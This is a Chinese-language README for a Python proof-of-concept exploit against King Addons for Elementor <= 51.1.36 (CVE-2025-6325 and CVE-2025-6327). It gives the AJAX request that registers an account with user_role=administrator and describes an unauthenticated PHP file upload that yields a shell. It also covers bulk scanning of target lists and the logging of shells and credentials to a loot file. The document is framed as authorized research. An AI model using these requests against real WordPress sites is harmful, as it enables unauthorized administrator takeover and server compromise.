Python PoC,用于验证 King Addons for Elementor <= 51.1.36 中的 CVE-2025-6325 未认证权限提升和 CVE-2025-6327 任意文件上传 RCE。
针对 King Addons for Elementor <= 51.1.36 的研究与验证工具,涵盖两个已记录的漏洞:
仅限用于授权安全测试、漏洞研究和受控实验环境。
本项目提供了一个双重用途的 PoC,用于验证 King Addons for Elementor 中两个漏洞的安全影响。
通过 King Addons 注册功能实现的未认证权限提升。
存在漏洞的流程接受客户端控制的 user_role 值,并将其传递给 WordPress 用户创建过程,而未实施适当的角色允许列表。
受影响版本: <= 51.1.36
已修复版本: 51.1.37
存在漏洞的注册流程使用:
POST /wp-admin/admin-ajax.php
action=king_addons_user_register
user_role=administrator
该 PoC 还会验证所创建的账户是否能够通过身份验证并访问 WordPress 用户管理页面。
通过 King Addons 表单构建器上传功能实现的未认证任意文件上传。
存在漏洞的上传处理程序可能错误地接受 PHP 文件,导致上传的文件可通过 Web 访问,并可能造成服务器端代码执行。
受影响版本: <= 51.1.36
已修复版本: 51.1.37
相关的 AJAX 动作为:
POST /wp-admin/admin-ajax.php
action=king_addons_upload_file
该 PoC 验证上传流程,并检查上传的测试文件是否能够执行无害的 id 命令。
该脚本支持四种操作模式:
check
privesc
upload
both
这些模式通过命令行界面直接提供。
需要 Python 3。
无需第三方 Python 包。
检查你的 Python 版本:
python3 --version
运行两个漏洞检查:
python3 exploit.py -u http://target.local --exploit both
在不运行漏洞利用阶段的情况下发现暴露的 King Addons nonce:
python3 exploit.py -u http://target.local --exploit check
python3 exploit.py -u http://target.local --exploit privesc
python3 exploit.py -u http://target.local --exploit upload
创建目标文件:
http://target1.local
https://target2.local
http://target3.local
注释和空行将被忽略。
运行被动评估:
python3 exploit.py -l targets.txt --exploit check
运行两个验证阶段:
python3 exploit.py -l targets.txt --exploit both -t 20
运行上传验证:
python3 exploit.py -l targets.txt --exploit upload -t 20
运行权限提升验证:
python3 exploit.py -l targets.txt --exploit privesc -t 20
该 PoC 会自动在目标页面中搜索两个存在漏洞的流程所需的 nonce。
默认爬虫设置:
Depth : 3
Max pages : 80
Timeout : 20 seconds
Threads : 10
这些默认值在脚本的 CLI 配置中定义。
示例:
python3 exploit.py \
-l targets.txt \
--exploit both \
-t 20 \
--depth 3 \
--max-pages 80 \
--timeout 20
该脚本默认将结构化结果写入 results.tsv,将成功验证条目写入 loot.txt。
在执行过程中,该工具会报告多种状态。
表示上传验证成功,且测试 PHP 文件对验证请求作出了响应。
示例:
PWNED [SHELL]
表示权限提升验证使用存在漏洞的注册流程创建了一个账户。
该工具还会记录该账户是否已针对 WordPress 用户管理页面进行验证。
所创建的账户已成功通过身份验证,并在 WordPress 用户页面上得到确认。
注册请求成功,但后续验证步骤无法确认所生成的账户。
未获得成功验证结果。
目标产生了网络、解析、爬取或其他执行错误。
结构化结果以 TSV 格式写入:
results.tsv
输出包含以下字段:
target
status
shell_url
shell_rce
priv_user
priv_pwd
priv_verified
err
此格式便于将结果导入电子表格或进行进一步处理。
成功验证条目还会额外写入:
loot.txt
该脚本将 shell 和权限验证结果作为单独的条目写入。
Visitor
│
▼
Public King Addons Register Form
│
▼
Nonce discovery
│
▼
king_addons_user_register
│
▼
Client-controlled user_role
│
▼
WordPress user creation
│
▼
Privilege escalation validation
该 PoC 特别向注册端点提交:
user_role=administrator
Visitor
│
▼
King Addons Form Builder
│
▼
Upload nonce discovery
│
▼
king_addons_upload_file
│
▼
PHP test file upload
│
▼
Uploaded file URL
│
▼
Benign execution verification
该 PoC 使用唯一生成的测试文件名,并检查返回的上传 URL。
该研究实现已针对以下环境进行测试:
WordPress 6.8 / 7.1
Elementor 4.2.3
King Addons 51.1.14
研究记录报告称,在受控实验环境中两个流程均验证成功,包括权限提升和 shell 执行。此外还针对版本 51.1.37 进行了阴性对照测试。
研究记录表明,51.1.35 和 51.1.36 的部分 WordPress.org ZIP 发布包随后被重新标记为包含部分修复。
因此,存在漏洞的实现是通过所引用的 SVN 标签 51.1.14 确认的。
如需复现该研究,请使用研究中所确定的确切实验版本和软件包,而不要假设每个标记为 51.1.35 或 51.1.36 的软件包都包含相同的存在漏洞的代码。
本项目旨在用于:
仅测试你拥有明确授权的系统。
未经许可,请勿将本项目用于第三方基础设施。
作者不鼓励未经授权的访问、持久化、数据窃取或系统破坏。
本软件仅供安全研究和授权测试用途。
你有责任确保对本项目的使用符合适用的法律、法规、合同和授权要求。
作者和贡献者对因未经授权使用而导致的滥用、损害、服务中断、数据丢失或其他后果不承担任何责任。
JohenLastGen — JLG NETWORK
研究与安全工具
Telegram:
@johenlastgen
频道:
@jlgnetworkredirect
MIT License
完整许可证文本请参见 LICENSE。
| 选项 | 描述 |
|---|
-u, --url | 测试单个目标 URL |
-l, --list | 包含目标 URL 的文件 |
-e, --exploit | 选择 check、privesc、upload 或 both |
-t, --threads | 并发工作线程数 |
--depth | 爬虫最大链接深度 |
--max-pages | 每个目标爬取的最大页面数 |
--timeout | HTTP 请求超时时间(秒) |
-o, --output | TSV 结果输出 |
--loot | 成功验证输出 |
--no-color | 禁用终端颜色 |